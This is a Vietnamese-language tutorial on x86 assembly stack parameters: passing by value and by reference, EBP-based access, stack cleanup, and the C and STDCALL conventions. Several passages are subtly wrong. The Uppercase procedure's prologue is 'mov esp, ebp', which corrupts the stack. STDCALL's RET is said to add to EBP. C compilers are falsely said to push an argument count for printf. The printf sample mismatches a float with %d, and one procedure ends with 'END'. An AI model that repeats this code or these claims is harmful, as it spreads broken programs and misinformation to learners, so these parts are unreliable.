Có một lý do chính đáng để học về passing arguments lên stack; gần như hầu hết các ngôn ngữ lập trình bậc cao sử dụng chúng. Ví dụ, nếu bạn muốn gọi functions trong MS-Windows Application Programmer Interface (API), bạn phải pass arguments vào stack. 

Stack Parameters

Chúng ta đã biết một cách để pass arguments đến procedures thông qua việc sử dụng registers. Chúng ta có thể nói rằng các procedures sử dụng register parameters.  Register parameters được tối ưu hóa cho tốc độ thực thi của chương trình và dễ dàng sử dụng. Không may mắn rằng, register parameters thường tạo code "rác" trong các chương trình gọi. Các contents tồn tại trên thanh ghi phải được lưu lại trước khi chúng có thể nạp các giá trị argument vào. Một trường hợp là khi gọi DumpMem từ thư viện Irvine32:


pushad
mov esi,OFFSET array                       ; starting OFFSET
mov ecx,LENGTHOF array                ; size, in units
mov ebx,TYPE array                          ; doubleword format
call DumpMem                                   ; display memory
popad

Stack parameters cho phép ta một cách tiếp cận linh hoạt hơn. Chỉ là trước subroutine call, arguments được pushed vào stack. Cho ví dụ, nếu DumpMem sử dụng stack parameters, chúng ta gọi nó sử dụng code sau:

push TYPE array
push LENGTHOF array
push OFFSET array
call DumpMem

Hai kiểu arguments được pushed vào stack trong suốt subroutine calls:
  • Value arguments (các giá trị của các biến và constants)
  • Reference arguments (các địa chỉ của các biến)
Passing by Value khi một argument được passed bằng value , một bản sao của giá trị này được pushed vào stack. Giả sử chúng ta gọi một subroutine có tên là AddTwo, passing nó 2 số nguyên 32-bit:

.data
val1    DWORD  5
val2    DWORD  6
.code
push   val2
push   val1
call AddTwo

Dưới đây là hình ảnh của stack trước CALL instruction 

Một function call tương đương viết trong C++ là :
  int sum = AddTwo( val1, val2);

Quan sát ta thấy rằng arguments được pushed vào stack theo thứ tự ngược lại với thứ tự khi ta khai báo, đây là một chuẩn của C và C++. 

Passing by Reference

Một argument passed thông qua reference gồm địa chỉ (offset) của một đối tượng. Các statements sau gọi Swap , passing 2 arguments bởi reference:

push   OFFSET  val2
push   OFFSET  val1
call     Swap

Phía dưới là hình ảnh của stack trước khi gọi Swap:

Hàm Swap trong C/C++ có thể được viết như sau:
  Swap(&val1, &val2);

Passing Arrays 

Các ngôn ngữ lập trình bậc cao luôn luôn pass arrays tới subroutines qua địa chỉ. Là như sau, chúng push địa chỉ của một mảng vào stack. Subroutine sau đó lấy địa chỉ từ stack và sử dụng nó để truy nhập đến mảng. Dễ dàng để nhận ra tại sao ta không muốn pass một mảng bởi value, bởi vì nếu làm như vậy yêu cầu phải push từng phần tử của mảng vào stack một cách riêng lẻ. Những hành động như vậy thường rất chậm và có thể chiếm dụng nhiều không gian trong stack. Statements phía dưới đây thực hiện đúng cách thông qua việc passing offset của một mảng đến một subroutine có tên là ArrayFill:

.data
array DWORD 50 DUP(?)
.code
push OFFSET array
call ArrayFill

Accessing Stack Parameters

Các ngôn ngữ lập trình bậc cao có nhiều cách để khởi tạo và truy nhập đến parameters chung suốt function calls. Chúng tôi sẽ sử dụng C và C++ để làm ví dụ. Chúng bắt đầu với một prologue bao gồm các statements làm nhiệm vụ save EBP register và trỏ EBP đến đỉnh của stack. Tùy theo lựa chọn, bạn có thể push một lượng registers lên stack, các giá trị trong các thanh ghi này sẽ được restored khi function returns. Cuối của function bao gồm một epilogue nơi mà EBP register được restored và RET instruction returns đến hàm gọi. 

AddTwo Example hàm AddTwo dưới đây, được viết trong C, nhận 2 số nguyên được passed bởi giá trị và return tổng của chúng:

int AddTwo(int x, int y)
{
       return x + y;
}

Nào, hãy cài đặt hàm này trong assembly. Trong prologue của nó, AddTwo pushes EBP vào stack để bảo quản giá trị tồn tại của nó:

AddTwo PROC
              push ebp

Tiếp theo, EBP được set đến cùng giá trị với ESP, vì vậy EBP có thể là base pointer cho AddTwo's stack frame:

AddTwo PROC
              push ebp
              mov ebp, esp

Sau khi 2 instructions thực thi, figure phía dưới đây shows contents của một stack frame. Một function call ví dụ như AddTwo(5, 6) có thể tạo ra parameter thứ hai được pushed trên stack, theo sau là parameter thứ nhất:

AddTwo có thể push các thanh ghi bổ sung mà không cảnh báo offsets của stack parameters từ EBP. ESP có thể thay đổi giá trị, nhưng EBP thì không. 

Base-Offset Addressing  Chúng tôi sử dụng base-offset addressing để access stack parameters. EBP là base register và offset là một constant. 32-bit values được trả về trong EAX. Implementation phía dưới đây của AddTwo cộng parameters và trả về tổng của chúng trong EAX:

AddTwo  PROC
            push ebp
            mov ebp, esp
            mov eax, [ebp + 12]
            add eax, [ebp + 8]
            pop ebp
            ret
AddTwo ENDP

Explicit Stack Parameters

Khi stack parameters được tham chiếu với expressions như là [ebp + 8], chúng ta gọi chúng là explicit stack parameters. Lí do ta gọi như vậy là vì assembly code states rõ ràng offset của parameter như là constant value. Một vài programmers định nghĩa symbolic constants để biểu diễn explicit stack parameters, để làm cho code của họ dễ đọc hơn:

y_param  EQU [ebp + 12]
x_param  EQU [ebp + 8]

AddTwo  PROC
        push ebp
        mov ebp, esp
        mov eax, y_param
        add eax, x_param
        pop ebp
        ret
AddTwo ENDP

Cleaning Up the Stack

Phải có một cách nào đó để remove parameters khỏi stack khi một subroutine returns. Nếu không, một memory leak có thể xảy ra, và stack có thể bị corrupted. Cho ví dụ, giả sử statements sau trong main gọi AddTwo:

push   6
push   5
call     AddTwo

Giả thiết rằng AddTwo leaves 2 parameters trên stack, minh họa dưới đây shows stack sau khi returning từ call:


Bên trong main, chúng ta có thể cố lờ đi vấn đề này và hi vọng rằng chương trình của chúng ta kết thúc một cách bình thường. Nhưng nếu chúng ta call AddTwo từ một loop, stack có thể overflow. Mỗi call sử 12 bytes không gian stack - 4 bytes dành cho mỗi parameter, cộng thêm 4 bytes cho địa chỉ trả về của lệnh CALL. Vấn đề trở nên nghiêm trọng nếu chúng ta gọi Example1 từ main, những gì sau đó quay ra gọi AddTwo:

main PROC
call Example1
exit
main ENDP
Example1 PROC
push 6
push 5
call AddTwo
ret                           ; stack is corrupted!
Example1 ENDP

Khi lệnh RET trong Example1 thực thi, lúc này ESP trỏ đến số 5 chứ không phải trỏ về return address để chuyển luồng thực thi trở về main.


Như bạn đã biết, lệnh RET sẽ nạp giá trị 5 vào con trỏ lệnh và cố gắng chuyển điều khiển đến memory address 5. Nếu giá trị 5 nằm bên ngoài không gian địa chỉ của chương trình, processor có thể sinh ra một runtime exception để báo cho OS kết thúc chương trình.

The C Calling Convention  Một cách đơn giản để remove parameters ra ngoài runtime stack là cộng ESP với một giá trị nào đó bằng với kích thước của parameters. Sau đó, ESP sẽ trỏ tới stack location chứa địa chỉ trả về của subroutine. Như trong ví dụ sau:

Example1  PROC
          push   6
          push   5
          call     AddTwo
          add    esp, 8
          ret
Example1 END

Các chương trình được viết bằng C/C++ thường xuyên remove arguments ra khỏi stack trong hàm gọi sau khi một subroutine được trả về.

STDCALL Calling Convention  Một cách phổ biến khác để remove parameters khỏi stack là sử dụng một quy ước có tên là STDCALL . Trong thủ tục AddTwo, chúng ta cung cấp một tham số nguyên đến lệnh RET, những gì sau đó cộng 8 vào EBP sau khi returning về thủ tục gọi. Số nguyên phải bằng với số lượng bytes stack space được sử dụng bởi subroutin parameters:

AddTwo PROC
        push ebp
        mov ebp, esp
        mov eax, [ebp + 12]
        add  eax, [ebp + 8]
        pop  ebp
        ret 8

Ta có thể nhận ra một số điềm giống và khác giữa STDCALL và C, giống nhau ở chổ STDCALL pushes arguments vào trong stack theo thứ tự ngược lại giống như C. Bởi việc có một parameter trong lệnh RET, STDCALL giảm được số lượng code được sinh ra cho subroutine calls (giảm đi một lệnh) và đảm bảo rằng calling programs sẽ không bao giờ quên dọn dẹp stack. C calling convention, mặt khác, cho phép subroutines khai báo một số lượng parameters tùy biến. Caller có thể quyết định bao nhiêu arguments nó sẽ pass. Một ví dụ là hàm printf , hàm này có số lượng arguments phụ thuộc vào số lượng format specifiers trong initial string argument:

int  x = 5;
float y = 3.2;
char z = 'Z';
printf("Printing values:  %d, %d, %c", x, y, z);

Một C compiler pushes arguments lên stack theo thứ tự ngược lại, theo sau bởi một count argument ám chỉ số lượng arguments thực sự . Hàm lấy argument count và accesses từng arguments một. Function implementation không có một cách tiện lợi nào để encoding một constant trong RET instruction để clean up stack, vì vậy trách nhiệm này để lại cho caller.

Passing 8-Bit and 16-Bit Arguments on the Stack

Khi passing stack arguments đến procedures trong protected mode, tốt nhất là push 32-bit operands. Mặc dù bạn có thể push 16-bit operands trên stack, nhưng làm như vậy sẽ ngăn ESP aligned một doubleword boundary. Một page fault có thể xảy ra và runtime performance có thể bị degraded. Bạn nên mở rộng chúng lên 32 bits trước khi pushing chúng vào stack.

Thủ tục Uppercase sau nhận một character argument và return uppercase của nó vào trong AL:

Uppercase  PROC
          push  ebp
          mov  esp, ebp
          mov  al, [esp+8]
          cmp  al, 'a'
          jb     L1
          cmp  al, 'z'
          ja     L1
          sub  al, 32
L1:     pop   ebp
          ret    4
Uppercase  ENDP


Nếu chúng ta pass một character literal đến Uppercase, PUSH instruction sẽ tự động mở rộng character này lên 32 bits:

push   'x'
call     Uppercase